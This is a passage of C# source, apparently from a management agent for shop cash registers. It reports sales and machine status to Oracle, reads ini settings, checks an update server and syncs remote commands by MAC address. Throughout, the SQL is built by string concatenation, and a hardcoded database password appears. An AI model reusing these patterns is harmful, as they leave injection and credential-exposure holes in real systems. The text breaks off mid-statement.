"+GetCurrCommCount() + ",", "CURRPRESON ='"+GetCurrPreson()+"', ", "CONTENT='"+GetLastTrade() + "|"+GetLastSellData() + "|"+SoftVersion + "' ", "WHERE MACHINECODE='", this.MACHINECODE, "' AND CONNECT_IP='", this.GetAddressIP(), "' AND SERVERPARTCODE='", this.SERVERPARTCODE, "' AND SHOPCODE='", this.SHOPCODE, "' AND MACHINENAME='", this.GetMachineName() + "'" }); } else { SqlString = string.Concat(new string[] { @"INSERT INTO highway_exchange.T_CONNECTPOINT(MACHINECODE,CONNECT_DATE,CONNECT_IP,SERVERPARTCODE,SHOPCODE,MACHINENAME,CURRAMOUNT,CURRSELLCOUNT, CURRCOMMCOUNT,CURRPRESON,CONTENT,CONNECTPOINT_ID)VALUES('", this.MACHINECODE, "',sysdate,'", this.GetAddressIP(), "','", this.SERVERPARTCODE, "','", this.SHOPCODE, "','", this.GetMachineName(), "','", CurrAmount.ToString(), "','", CurrSellCount.ToString(), "','", GetCurrCommCount().ToString(), "','", GetCurrPreson(), "','", GetLastTrade() + "|"+GetLastSellData()+ "|"+SoftVersion, "','", DBTRANS_MODE, "')" }); } _OracleHelper.ExecuteSqlTran(new string[] { SqlString }); } catch (Exception ex) { LogHelper.WriteServiceLog("信息:" + ex.Message + "\r\n" + SqlString); } } #endregion #region 获取收银机名 public string GetMachineName() { string result; try { result = Environment.MachineName; } catch (Exception) { result = ""; } return result; } #endregion #region 获取收银机IP public string GetAddressIP() { string AddressIP = string.Empty; try { IPAddress[] addressList = Dns.GetHostEntry(Dns.GetHostName()).AddressList; for (int i = 0; i < addressList.Length; i++) { IPAddress _IPAddress = addressList[i]; if (_IPAddress.AddressFamily.ToString() == "InterNetwork") { AddressIP = _IPAddress.ToString(); } } } catch { } return AddressIP; } #endregion public string GetValue(string Name) { string strLine = ""; string result = ""; //string constr = "DSN=anysql1;UID=dba;PWD=sql;"; string _Valuestr = "select configuration_name,configuration_values from dba.t_configuration where configuration_name = '" + Name + "'"; //OdbcConnection conany = new OdbcConnection(constr); try { if (File.Exists("setup.ini")) { FileStream aFile = new FileStream("setup.ini", FileMode.Open); StreamReader sr = new StreamReader(aFile); for (strLine = sr.ReadLine(); strLine != null; strLine = sr.ReadLine()) { if (strLine.ToLower().Contains(Name + "=")) { sr.Close(); result = strLine.ToLower().Replace(Name + "=", ""); return result; } } sr.Close(); } else { DataTable configdt = ESSupport.Lib.SyBaseHelper.QueryOdbc(_Valuestr).Tables[0]; if (configdt.Rows.Count > 0) result = configdt.Rows[0]["configuration_values"].ToString(); return result; } } catch { //conany.Close(); result = ""; return result; } return ""; } /// /// 当前收银员 /// private string GetCurrPreson() { string _strSelectSql = ""; if (_QualityHelper.ConfigurationValues("NewSystem", "0") == "1") { _strSelectSql = String.Format("SELECT ISNULL(A.SELLWORKERNAME,'未登录工班') AS PERSONNAME " + "FROM T_SELLWORKER A,T_PERSONSELL_NEW B WHERE A.SELLWORKERCODE = B.SELLWORKER_CODE AND " + "A.SERVERPARTCODE = B.SERVERPARTCODE AND B.SERVERPARTCODE = '{0}' AND B.SHOPCODE = '{1}' AND " + "B.MACHINECODE = '{2}' AND B.ENDDATE IS NULL", _QualityHelper.serverpartcode, _QualityHelper.shopcode, _QualityHelper.machinecode); } else { _strSelectSql = String.Format("SELECT ISNULL(A.SELLWORKERNAME,'未登录工班') AS PERSONNAME " + "FROM T_SELLWORKER A,T_PERSONSELL B WHERE A.SELLWORKERCODE = B.CASHWORKER_CODE " + "AND A.SERVERPARTCODE = B.SERVERPARTCODE AND B.SERVERPARTCODE = '{0}' AND B.SHOPCODE = '{1}' " + "AND B.MACHINECODE = '{2}' AND B.ENDDATE IS NULL", _QualityHelper.serverpartcode, _QualityHelper.shopcode, _QualityHelper.machinecode); } try { return Lib.SyBaseHelper.QueryOdbc(_strSelectSql).Tables[0].Rows[0]["PERSONNAME"].ToString(); } catch (Exception ex) { try { Lib.LogHelper.WriteServiceLog("获取当前工班收银员:" + ex.Message); } catch { } return ""; } #region //string SqlString1 = @" //select b.SELLWORKERNAME,a.STARTDATE //from // (select // CASHWORKER_CODE,STARTDATE // from // DBA.T_PERSONSELL // where // SERVERPARTCODE ='" + SERVERPARTCODE + "' and SHOPCODE = '" + SHOPCODE + "' and MACHINECODE = '" + MACHINECODE + "' and ENDDATE is null) a, " // + @" DBA.T_SELLWORKER b //where // a.CASHWORKER_CODE = b.SELLWORKERCODE //order by a.STARTDATE desc"; //try //{ // DataTable _DataTable = QueryOdbc(SqlString1).Tables[0]; // if (_DataTable.Rows.Count > 0) // { // return _DataTable.Rows[0]["SELLWORKERNAME"].ToString(); // } // else // { // return "未登陆工班"; // } //} //catch (Exception ex) //{ // return ex.Message; //} #endregion } private decimal CurrAmount = 0; private decimal CurrSellCount = 0; /// /// 当前金额 /// private void GetCurrAmount() { string _strSelectSql = ""; if (_QualityHelper.ConfigurationValues("NewSystem", "0") == "1") { _strSelectSql = String.Format("SELECT COUNT(DISTINCT(SELLMASTER_CODE)) AS ORDERCOUNT," + "ISNULL(SUM(SELLMASTER_COUNT),0) AS SELLCOUNT,ISNULL(SUM(SELLMASTER_AMOUNT),0) AS FACTAMOUNT " + "FROM T_SELLMASTER WHERE SELLMASTER_DATE BETWEEN TODAY() AND NOW() AND SERVERPARTCODE = '{0}' " + "AND SHOPCODE = '{1}' AND MACHINECODE = '{2}'", _QualityHelper.serverpartcode, _QualityHelper.shopcode, _QualityHelper.machinecode); } else { _strSelectSql = String.Format("SELECT COUNT(DISTINCT(TICKETCODE)) AS ORDERCOUNT," + "ISNULL(SUM(SELLCOUNT),0) AS SELLCOUNT,ISNULL(SUM(FACTAMOUNT),0) AS FACTAMOUNT " + "FROM T_SELLDATA WHERE SELLDATA_DATE BETWEEN TODAY() AND NOW() " + "AND SERVERPARTCODE = '{0}' AND SHOPCODE = '{1}' AND MACHINECODE = '{2}'", _QualityHelper.serverpartcode, _QualityHelper.shopcode, _QualityHelper.machinecode); } try { DataTable _DataTable = Lib.SyBaseHelper.QueryOdbc(_strSelectSql).Tables[0]; CurrSellCount = decimal.Parse(_DataTable.Rows[0]["ORDERCOUNT"].ToString()); //sellCount = (decimal)_DataTable.Rows[0]["SELLCOUNT"]; CurrAmount = decimal.Parse(_DataTable.Rows[0]["FACTAMOUNT"].ToString()); } catch { CurrSellCount = 0; //sellCount = 0; CurrAmount = 0; } //return true; #region ////string SqlString = @"select count(distinct TICKETCODE),sum(factamount) //// from //// DBA.T_SELLDATA a //// where //// SERVERPARTCODE = '" + SERVERPARTCODE + "' and SHOPCODE = '" + SHOPCODE + "' and MACHINECODE = '" + MACHINECODE + "' and " //// + @" a.SELLDATA_DATE between (select max(STARTDATE) from highway_exchange.T_PERSONSELL b where //// ENDDATE is null and a.SERVERPARTCODE = b.SERVERPARTCODE and //// a.SHOPCODE = b.SHOPCODE and a.MACHINECODE = b.MACHINECODE) and getdate()"; //string SqlString = @"select count(distinct TICKETCODE),sum(factamount) // from // DBA.T_SELLDATA a // where // SERVERPARTCODE = '" + SERVERPARTCODE + "' and SHOPCODE = '" + SHOPCODE + "' and MACHINECODE = '" + MACHINECODE + "' and " // + @" a.SELLDATA_DATE between today() and getdate()"; //try //{ // DataTable _DataTable = QueryOdbc(SqlString).Tables[0]; // if (_DataTable.Rows.Count > 0) // { // CurrAmount = double.Parse(_DataTable.Rows[0][0].ToString()); // if (CurrSellCount == 0) // { // CurrAmount = 0; // } // if (string.IsNullOrEmpty(_DataTable.Rows[0][1].ToString())) // { // CurrSellCount = 0; // } // else // { // CurrSellCount = double.Parse(_DataTable.Rows[0][1].ToString()); // } // } // else // { // return; // } //} //catch (Exception ex) //{ // return; //} #endregion } /// /// 当前客单数 /// /// /// 当前销售商品数量 /// private decimal GetCurrCommCount() { string _strSelectSql = String.Format("SELECT COUNT(*) AS COMMODITYCOUNT FROM T_COMMODITYEX A,T_SHOPMESSAGE B " + "WHERE A.ISVALID = 1 AND A.SERVERPARTSHOP_ID = B.SERVERPARTSHOP_ID AND B.SERVERPARTCODE = '{0}' " + "AND B.SHOPCODE = '{1}'", _QualityHelper.serverpartcode, _QualityHelper.shopcode); try { return decimal.Parse(Lib.SyBaseHelper.QueryOdbc(_strSelectSql).Tables[0].Rows[0]["COMMODITYCOUNT"].ToString()); } catch { return 0; } #region //string SqlString = "SELECT COUNT(*) FROM DBA.T_COMMODITYEX WHERE ISVALID = 1"; //try //{ // DataTable _DataTable = QueryOdbc(SqlString).Tables[0]; // if (_DataTable.Rows.Count > 0) // { // return double.Parse(_DataTable.Rows[0][0].ToString()); // } // else // { // return 0; // } //} //catch //{ // return 0; //} #endregion } private string GetLastTrade() { string _strSelectSql = ""; if (_QualityHelper.ConfigurationValues("NewSystem", "0") == "1") { _strSelectSql = String.Format("SELECT MAX(SELLMASTER_DATE) FROM T_SELLMASTER " + "WHERE SELLMASTER_DATE < NOW() AND SERVERPARTCODE = '{0}' AND SHOPCODE = '{1}' " + "AND MACHINECODE = '{2}'", _QualityHelper.serverpartcode, _QualityHelper.shopcode, _QualityHelper.machinecode); } else { _strSelectSql = String.Format("SELECT MAX(SELLDATA_DATE) FROM T_SELLDATA " + "WHERE SELLDATA_DATE < NOW() AND SERVERPARTCODE = '{0}' AND SHOPCODE = '{1}' " + "AND MACHINECODE = '{2}'", _QualityHelper.serverpartcode, _QualityHelper.shopcode, _QualityHelper.machinecode); } try { return ((DateTime)Lib.SyBaseHelper.QueryOdbc(_strSelectSql).Tables[0].Rows[0][0]).ToString("yyyy/MM/dd", DateTimeFormatInfo.InvariantInfo); } catch { return ""; } #region //string SqlString = @"SELECT MAX(SELLDATA_DATE) FROM DBA.T_SELLDATA // where to_char(getdate(),'yyyy-mm-dd') = to_char(TO_DATE(SELLDATA_DATE,'YYYY-MM-DD HH24:MI:SS'),'yyyy-mm-dd')"; //SqlString = "SELECT MAX(SELLDATA_DATE) from DBA.T_SELLDATA"; //try //{ // DataTable _DataTable = QueryOdbc(SqlString).Tables[0]; // if (_DataTable.Rows.Count > 0) // { // //if (_DataTable.Rows[0][0].ToString().Split(' ')[0] != System.DateTime.Now.ToString("yyyy-MM-dd")) // //{ // // return "未开始收银"; // //} // //else // //{ // return _DataTable.Rows[0][0].ToString().Split(' ')[0]; // //} // } // else // { // return ""; // } //} //catch (Exception ex) //{ // return ""; //} #endregion } private string GetLastSellData() { //销售日期,销售商品,销售金额 string _strSellDate = ""; string _strCommodity = ""; decimal _decFactAmount = 0; string _strSellDetail = ""; string _strSelectSql = ""; if (_QualityHelper.ConfigurationValues("NewSystem", "0") == "1") { _strSelectSql = "SELECT B.SELLMASTER_DATE AS SELLDATA_DATE,B.SELLMASTER_AMOUNT AS FACTAMOUNT" + ",A.COMMODITY_CODE AS COMMODITY_CODE,A.SELLDETAILS_COUNT AS SELLCOUNT,A.SELLDETAILS_PRICE AS SELLPRICE " + "FROM T_SELLDETAILS A,T_SELLMASTER B WHERE A.SELLMASTER_CODE = B.SELLMASTER_CODE AND B.SELLMASTER_DATE = (" + "SELECT MAX(SELLMASTER_DATE) FROM T_SELLMASTER WHERE SELLMASTER_DATE BETWEEN TODAY() AND NOW())"; } else { _strSelectSql = "SELECT SELLDATA_DATE,COMMODITY_CODE,FACTAMOUNT,SELLCOUNT,SELLPRICE " + "FROM T_SELLDATA WHERE SELLDATA_DATE = (SELECT MAX(SELLDATA_DATE) " + "FROM DBA.T_SELLDATA WHERE SELLDATA_DATE BETWEEN TODAY() AND NOW())"; } try { DataTable _DataTable = Lib.SyBaseHelper.QueryOdbc(_strSelectSql).Tables[0]; if (_DataTable.Rows.Count > 0) { //销售时间 _strSellDate = _DataTable.Rows[0]["SELLDATA_DATE"].ToString(); //销售金额 if (_QualityHelper.ConfigurationValues("NewSystem", "0") == "1") { _decFactAmount = decimal.Parse(_DataTable.Rows[0]["FACTAMOUNT"].ToString()); } else { _decFactAmount = decimal.Parse(_DataTable.Compute("SUM(FACTAMOUNT)", "").ToString()); } //销售明细 for (int i = 0; i < _DataTable.Rows.Count; i++) { _strCommodity += (_strCommodity == "" ? "" : ",") + _DataTable.Rows[i]["COMMODITY_CODE"].ToString(); _strSellDetail += (_strSellDetail == "" ? "(" : ",(") + ((decimal)_DataTable.Rows[i]["SELLCOUNT"]).ToString("F2") + "*" + decimal.Parse(_DataTable.Rows[i]["SELLPRICE"].ToString()).ToString("F2") + ")"; } return _strSellDate + "|" + _strCommodity + "|" + _decFactAmount.ToString("F2") + "|" + _strSellDetail; } else { return ""; } } catch { return ""; } #region ////销售日期,销售商品,销售金额 //string SellData = string.Empty; //string Commodity = string.Empty; //double FactAmount = 0; //string SellDetail = ""; //bool flag = true; //string SqlString = @"select SELLDATA_DATE,COMMODITY_CODE,FACTAMOUNT,SELLCOUNT,SELLPRICE from t_selldata // where selldata_date = (select max(selldata_date) from t_selldata where selldata_date between today() and now())"; //try //{ // DataTable _DataTable = QueryOdbc(SqlString).Tables[0]; // if (_DataTable.Rows.Count > 0) // { // foreach (DataRow _Dr in _DataTable.Rows) // { // if (flag) // { // SellData = _Dr["SELLDATA_DATE"].ToString(); // flag = false; // } // Commodity += (Commodity == string.Empty ? "" : ",") + _Dr["COMMODITY_CODE"].ToString(); // //金额 // FactAmount += double.Parse(_Dr["FACTAMOUNT"].ToString()); // //销售明细 // SellDetail += (SellDetail == "" ? "" : ",") + "(" + _Dr["SELLCOUNT"].ToString() + "*" + _Dr["SELLPRICE"].ToString() + ")"; // } // } // else // { // return ""; // } // return SellData + "|" + Commodity + "|" + FactAmount + "|" + SellDetail; //} //catch (Exception ex) //{ // return ""; //} #endregion } public bool SetReplaceValue(string Name, string Value) { try { string[] LinesText = System.IO.File.ReadAllLines("setup.ini", Encoding.Default); for (int i = 0; i < LinesText.Length; i++) { if (LinesText[i].Split('=')[0].ToLower() == Name) { LinesText[i] = Name + "=" + Value; } } using (System.IO.StreamWriter file = new System.IO.StreamWriter("setup.ini", false, Encoding.Default)) { foreach (string line in LinesText) { file.WriteLine(line);// 直接追加文件末尾,换行 } } return true; } catch { return false; } } public string strUpdateXmlPath = Application.StartupPath + @"/update.xml"; private string getConfigValue(string path, string appKey) { XmlDocument xDoc = new XmlDocument(); XmlNode xNode; XmlElement xElem = null; try { xDoc.Load(path); xNode = xDoc.SelectSingleNode("//appSettings"); xElem = (XmlElement)xNode.SelectSingleNode("//add[@key=\"" + appKey + "\"]"); } catch (XmlException ex) { } if (xElem != null) return xElem.GetAttribute("value"); else return ""; } #region 数据库链接QueryOracle和TXT文本读取 public OracleConnection QueryOracle() { try { //判断没有set.ini文件,那么就新建set.ini文件 if (!File.Exists("set.ini")) { FileStream fs = new FileStream("setup.ini", FileMode.Open); StreamReader m_streamReader = new StreamReader(fs, Encoding.Default); m_streamReader.BaseStream.Seek(0, SeekOrigin.Begin); string strLine = m_streamReader.ReadLine(); do { string[] split = strLine.Split('='); string b = split[0]; if (b == "dbip") dbip = split[1]; else if (b == "dbport") dbport = split[1]; else if (b == "dbname") dbname = split[1]; else if (b == "dbuser") dbuser = split[1]; else if (b == "dbpass") dbpass = split[1]; else if (b == "conname") conname = split[1]; else if (b == "serverpartcode") serverpartcode = split[1]; else if (b == "shopcode") shopcode = split[1]; else if (b == "machinecode") machinecode = split[1]; strLine = m_streamReader.ReadLine(); } while (strLine != null); FileStream fs1 = new FileStream("set.ini", FileMode.Create, FileAccess.Write); StreamReader read = new StreamReader(fs, Encoding.Default); read.BaseStream.Seek(0, SeekOrigin.Begin); StreamWriter sw = new StreamWriter(fs1); //sw.WriteLine("[controlTime]"); //sw.WriteLine("---命令启动时间间隔"); //sw.WriteLine("ORDERTime=5"); //sw.WriteLine("---获取CPU状态时间间隔"); //sw.WriteLine("CPUState=60"); //sw.WriteLine("---检测文件对比差异时间间隔"); //sw.WriteLine("FileDifferenceTime=10"); //sw.WriteLine("---商品信息自动刷新时间间隔"); //sw.WriteLine("COMMODITYUpdateTime=10"); //sw.WriteLine(); string line = read.ReadLine(); do { string[] create = line.Split('='); string a = create[0]; if (a == "[database]") sw.WriteLine(line); else if (a == "startype") sw.WriteLine(line); else if (a == "servername") sw.WriteLine(line); else if (a == "apppath") sw.WriteLine(line); else if (a == "port") sw.WriteLine(line); else if (a == "openpath") sw.WriteLine(line); else if (a == "") sw.WriteLine(); else if (a == "[DBCONECT]") sw.WriteLine(line); else if (a == "dbip") sw.WriteLine(line); else if (a == "dbport") sw.WriteLine(line); else if (a == "dbname") sw.WriteLine(line); else if (a == "dbuser") sw.WriteLine(line); else if (a == "dbpass") sw.WriteLine(line); else if (a == "conname") sw.WriteLine(line); else if (a == "serverpartcode") sw.WriteLine(line); else if (a == "shopcode") sw.WriteLine(line); else if (a == "machinecode") sw.WriteLine(line); else if (a == "orapath") sw.WriteLine(line); line = read.ReadLine(); } while (line != null); try { string xmlPath = "http://" + dbip + ":11000/UpdateServer/UpdateList.xml"; WebRequest myRequest = WebRequest.Create(xmlPath); WebResponse myResponse = myRequest.GetResponse(); myResponse.Close(); XmlDocument xml = new XmlDocument(); xml.Load("update.xml"); var keys = xml.GetElementsByTagName("add"); if (keys[0].Attributes["key"].InnerText == "IP" && keys[0].Attributes["value"].InnerText != dbip) { keys[0].Attributes["value"].InnerText = dbip; xml.Save("update.xml"); } } catch { } m_streamReader.Close(); read.Close(); sw.Close(); fs1.Close(); fs.Close(); } else { //如果已经存在set.ini文件,则直接读取它信息 FileStream fs = new FileStream("set.ini", FileMode.Open); StreamReader STRreader = new StreamReader(fs); STRreader.BaseStream.Seek(0, SeekOrigin.Begin); string STRline = STRreader.ReadLine(); do { string[] split = STRline.Split('='); string i = split[0]; if (i == "dbip") dbip = split[1]; else if (i == "dbport") dbport = split[1]; else if (i == "dbname") dbname = split[1]; else if (i == "dbuser") dbuser = split[1]; else if (i == "dbpass") dbpass = split[1]; else if (i == "conname") conname = split[1]; else if (i == "serverpartcode") serverpartcode = split[1]; else if (i == "shopcode") shopcode = split[1]; else if (i == "machinecode") machinecode = split[1]; STRline = STRreader.ReadLine(); } while (STRline != null); STRreader.Close(); fs.Close(); try { string xmlPath = "http://" + dbip + ":11000/UpdateServer/UpdateList.xml"; WebRequest myRequest = WebRequest.Create(xmlPath); WebResponse myResponse = myRequest.GetResponse(); myResponse.Close(); if (ConnectState(xmlPath)) { XmlDocument xml = new XmlDocument(); xml.Load("update.xml"); var keys = xml.GetElementsByTagName("add"); if (keys[0].Attributes["key"].InnerText == "IP" && keys[0].Attributes["value"].InnerText != dbip) { keys[0].Attributes["value"].InnerText = dbip; xml.Save("update.xml"); } } } catch { STRreader.Close(); fs.Close(); FileStream fs2 = new FileStream("setup.ini", FileMode.Open); try { StreamReader m_streamReader = new StreamReader(fs2); m_streamReader.BaseStream.Seek(0, SeekOrigin.Begin); string strLine = m_streamReader.ReadLine(); do { string[] split = strLine.Split('='); string b = split[0]; if (b == "dbip") dbip = split[1]; else if (b == "dbport") dbport = split[1]; else if (b == "dbname") dbname = split[1]; else if (b == "dbuser") dbuser = split[1]; else if (b == "dbpass") dbpass = split[1]; else if (b == "conname") conname = split[1]; else if (b == "serverpartcode") serverpartcode = split[1]; else if (b == "shopcode") shopcode = split[1]; else if (b == "machinecode") machinecode = split[1]; strLine = m_streamReader.ReadLine(); } while (strLine != null); fs2.Close(); } catch (Exception ex) { fs2.Close(); } } } } catch (Exception ex) { } string connString = "Data Source = (DESCRIPTION = (ADDRESS = (PROTOCOL = TCP)(HOST = " + _QualityHelper.dbip + ")(PORT = " + _QualityHelper.dbport + "))(CONNECT_DATA = (SERVICE_NAME = " + _QualityHelper.conname + "))); User Id = " + _QualityHelper.dbuser + "; Password=" + _QualityHelper.dbpass + ";"; OracleConnection conn = new OracleConnection(connString); return conn; } #endregion public static bool ConnectState(string ConnectUrl) { try { // Creates an HttpWebRequest for the specified URL. HttpWebRequest myHttpWebRequest = (HttpWebRequest)WebRequest.Create(ConnectUrl); // 有些网站会阻止程序访问,需要加入下面这句 myHttpWebRequest.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"; myHttpWebRequest.Method = "GET"; // Sends the HttpWebRequest and waits for a response. HttpWebResponse myHttpWebResponse = (HttpWebResponse)myHttpWebRequest.GetResponse(); if (myHttpWebResponse.StatusCode == HttpStatusCode.OK) { myHttpWebResponse.Close(); return true; } else { myHttpWebResponse.Close(); return false; } // Releases the resources of the response. } catch { return false; } } public void CreateNode(XmlDocument xmlDoc, XmlNode parentNode, string name, string value) { XmlNode node = xmlDoc.CreateNode(XmlNodeType.Element, name, null); node.InnerText = value; parentNode.AppendChild(node); } #region 自动保存计算机硬件信息 private void TimerSaveProcess_Tick(object sender, EventArgs e) { base.Hide(); } #endregion #region CPU自动刷新 系统时间 private void TimerCPU_Tick(object sender, EventArgs e) { } #endregion #region 最小化托盘 private void F_Main_SizeChanged(object sender, EventArgs e) { } private void F_Main_FormClosing(object sender, FormClosingEventArgs e) { } private void 显示ToolStripMenuItem_Click(object sender, EventArgs e) { //WindowState = FormWindowState.Normal; } private void 退出ToolStripMenuItem_Click(object sender, EventArgs e) { } #endregion #region 命令执行 [DllImport("user32.dll")] public static extern IntPtr SendMessage( IntPtr hWnd, uint msg, uint wParam, int lParam); private const uint WM_SYSCOMMAND = 0x0112; private const uint SC_MONITORPOWER = 0xF170; [return: MarshalAs(UnmanagedType.Bool)] [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)] public static extern bool BlockInput([In, MarshalAs(UnmanagedType.Bool)] bool fBlockIt); [DllImport("kernel32.dll")] public static extern int WinExec(string exeName, int operType); private void timer1_Tick_1(object sender, EventArgs e) { //lblMACAdress.Text = "00:E0:4C:74:91:00"; string _mac = GetMacAddressByNetworkInformation(); if (_mac == string.Empty) return; OracleConnection conn = QueryOracle(); string comStr = "SELECT * FROM " + dbname + ".T_COMMODITYMACHINE WHERE MACHINE_MACADDRESS = '" + _mac + "'"; OracleCommand Com = new OracleCommand(comStr, conn); //查询表创建新文件 string sqlsetup = "select * from " + dbname + ".T_MACHINECONFIG WHERE MACHINE_MACADDRESS = '" + _mac + "'"; OracleCommand ComSetup = new OracleCommand(sqlsetup, conn); OracleDataReader rdSetup = null; //连接SQL Anywhere数据库 string constr = "DSN=anysql1;UID=dba;PWD=sql;"; //string constr = "driver={RY Sybase SQL Anywhere 11.0};Dsn = anysql1; userid = dba; PWD=sql; servername = pos001; commlinks = 'SharedMemory,TCPIP{host=192.168.10.114}'"; //OdbcConnection conany = new OdbcConnection(constr); #region 下载更新命令 try { conn.Open(); ISConnect = true; if (ISConnect) { ISConnect = false; OracleDataReader rd = Com.ExecuteReader(); rdSetup = ComSetup.ExecuteReader(); if (rd.HasRows) { while (rd.Read()) { string COMMODITYMACHINE_ID = rd["COMMODITYMACHINE_ID"].ToString(); string SERVERPARTCODE = rd["SERVERPARTCODE"].ToString(); string SHOPCODE = rd["SHOPCODE"].ToString(); string MACHINENAME = rd["MACHINENAME"].ToString(); string MACHINE_MACADDRESS = rd["MACHINE_MACADDRESS"].ToString(); string MACHINE_IP = rd["MACHINE_IP"].ToString(); string MACHINE_STARTDATE = rd["MACHINE_STARTDATE"].ToString(); string MACHINE_ENDDATE = rd["MACHINE_ENDDATE"].ToString(); string HANDCONTENT = rd["HANDCONTENT"].ToString(); string HANDWAY = rd["HANDWAY"].ToString(); string FLAG = rd["FLAG"].ToString(); string REPEAT_STATE = rd["REPEAT_STATE"].ToString(); string DOWNLOAD_STATE = rd["DOWNLOAD_STATE"].ToString(); string UPLOAD_STATE = "0"; if (!string.IsNullOrEmpty(rd["UPLOAD_STATE"].ToString())) { UPLOAD_STATE = rd["UPLOAD_STATE"].ToString(); } string INTERVALS_TIME = "0"; if (!string.IsNullOrEmpty(rd["INTERVALS_TIME"].ToString())) { INTERVALS_TIME = rd["INTERVALS_TIME"].ToString(); } string REMARK_DESC = rd["REMARK_DESC"].ToString(); //conany.Open(); ISConnect = true; if (ISConnect) { string sqlany = @"SELECT * FROM DBA.T_COMMODITYMACHINE WHERE COMMODITYMACHINE_ID = '" + COMMODITYMACHINE_ID + "' AND MACHINE_MACADDRESS='" + MACHINE_MACADDRESS + "' AND HANDWAY='" + HANDWAY + "'"; DataTable _CommodityMachine = ESSupport.Lib.SyBaseHelper.QueryOdbc(sqlany).Tables[0]; //OdbcCommand cmd = new OdbcCommand(sqlany, conany); //OdbcDataReader odbcrd = cmd.ExecuteReader(); if (_CommodityMachine.Rows.Count > 0) { foreach (DataRow odbcrd in _CommodityMachine.Rows) { if (odbcrd["MACHINE_MACADDRESS"].ToString() == MACHINE_MACADDRESS && odbcrd["HANDWAY"].ToString() == HANDWAY) { if (odbcrd["FLAG"].ToString() != FLAG || odbcrd["MACHINE_STARTDATE"].ToString() != MACHINE_STARTDATE || odbcrd["REPEAT_STATE"].ToString() != REPEAT_STATE || odbcrd["INTERVALS_TIME"].ToString() != INTERVALS_TIME || odbcrd["MACHINE_ENDDATE"].ToString() != MACHINE_ENDDATE) { string updateSql = @" UPDATE DBA.T_COMMODITYMACHINE SET FLAG=" + FLAG + " , MACHINE_STARTDATE = '" + MACHINE_STARTDATE + "', REPEAT_STATE=" + REPEAT_STATE + " ,MACHINE_ENDDATE='" + MACHINE_ENDDATE + "',INTERVALS_TIME=" + INTERVALS_TIME + " ,HANDCONTENT='" + HANDCONTENT + "',UPLOAD_STATE='" + UPLOAD_STATE + "',REMARK_DESC='" + REMARK_DESC + "' WHERE MACHINE_MACADDRESS='" + MACHINE_MACADDRESS + "' AND HANDWAY='" + HANDWAY + "' AND COMMODITYMACHINE_ID = " + COMMODITYMACHINE_ID; ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(updateSql); //OdbcCommand updateCMD = new OdbcCommand(updateSql, conany); //updateCMD.ExecuteNonQuery(); } else { if (odbcrd["FLAG"].ToString() == FLAG && odbcrd["MACHINE_STARTDATE"].ToString() == MACHINE_STARTDATE && odbcrd["REPEAT_STATE"].ToString() == REPEAT_STATE && odbcrd["INTERVALS_TIME"].ToString() == INTERVALS_TIME && odbcrd["MACHINE_ENDDATE"].ToString() == MACHINE_ENDDATE && odbcrd["UPLOAD_STATE"].ToString() != UPLOAD_STATE) { string updateSql = @" UPDATE " + dbname + ".T_COMMODITYMACHINE SET UPLOAD_STATE='" + odbcrd["UPLOAD_STATE"].ToString() + "', REMARK_DESC='" + odbcrd["REMARK_DESC"].ToString() + "' WHERE MACHINE_MACADDRESS='" + MACHINE_MACADDRESS + "' AND HANDWAY='" + HANDWAY + "' AND COMMODITYMACHINE_ID = " + COMMODITYMACHINE_ID; OracleCommand updateCMD = new OracleCommand(updateSql, conn); updateCMD.ExecuteNonQuery(); } else if (odbcrd["UPLOAD_STATE"].ToString() != UPLOAD_STATE) { string updateSql = @" UPDATE DBA.T_COMMODITYMACHINE SET UPLOAD_STATE='" + UPLOAD_STATE + "' WHERE MACHINE_MACADDRESS='" + MACHINE_MACADDRESS + "' AND HANDWAY='" + HANDWAY + "' AND COMMODITYMACHINE_ID = " + COMMODITYMACHINE_ID; ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(updateSql); //OdbcCommand updateCMD = new OdbcCommand(updateSql, conany); //updateCMD.ExecuteNonQuery(); } } } } } else { string insertSql = @" INSERT INTO DBA.T_COMMODITYMACHINE VALUES (" + COMMODITYMACHINE_ID + ",'" + SERVERPARTCODE + "','" + SHOPCODE + "','" + MACHINENAME + "','" + MACHINE_MACADDRESS + "','" + MACHINE_IP + "','" + MACHINE_STARTDATE + "','" + MACHINE_ENDDATE + "','" + HANDCONTENT + "','" + HANDWAY + "'," + FLAG + "," + REPEAT_STATE + "," + DOWNLOAD_STATE + ",'" + UPLOAD_STATE + "'," + INTERVALS_TIME + ",'" + REMARK_DESC + "')"; ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(insertSql); //OdbcCommand INSERTCMD = new OdbcCommand(insertSql, conany); //INSERTCMD.ExecuteNonQuery(); } } //conany.Close(); } } } conn.Close(); //conn.Dispose(); } catch (Exception ex) { LogHelper.WriteServiceLog("T_COMMODITYMACHINE:" + ex.Message); //conany.Close(); conn.Close(); //conn.Dispose(); } #endregion //打开数据库,执行查询 try { //conany.Open(); conn.Open(); try { ISConnect = true; if (ISConnect) { string odbcSql = "SELECT * FROM DBA.T_COMMODITYMACHINE WHERE MACHINE_MACADDRESS = '" + _mac + "' ORDER BY MACHINE_ENDDATE"; //OdbcCommand odbccmd = new OdbcCommand(odbcSql, conany); //OdbcDataReader odbcrd = odbccmd.ExecuteReader(); DataTable _CommodityMachine = Lib.SyBaseHelper.QueryOdbc(odbcSql).Tables[0]; if (_CommodityMachine.Rows.Count > 0) { foreach (DataRow odbcrd in _CommodityMachine.Rows) { string ID = odbcrd["COMMODITYMACHINE_ID"].ToString(); string MACHINE_MACADDRESS = odbcrd["MACHINE_MACADDRESS"].ToString(); string FLAG = odbcrd["FLAG"].ToString(); string HANDWAY = odbcrd["HANDWAY"].ToString(); string HANDCONTENT = odbcrd["HANDCONTENT"].ToString(); string MACHINE_STARTDATE = odbcrd["MACHINE_STARTDATE"].ToString(); string REPEAT_STATE = odbcrd["REPEAT_STATE"].ToString(); string UPLOAD_STATE = odbcrd["UPLOAD_STATE"].ToString(); string timenow = DateTime.Now.ToString("yyyy-MM-dd HH:mm"); DateTime datenow = Convert.ToDateTime(timenow); DateTime datebegin = Convert.ToDateTime(Convert.ToDateTime(MACHINE_STARTDATE).ToString("yyyy-MM-dd HH:mm")); Random randomnum = new Random(); int arr; //int[] arr; if (REPEAT_STATE == "1" && Convert.ToInt32(odbcrd["INTERVALS_TIME"]) > 1) { arr = 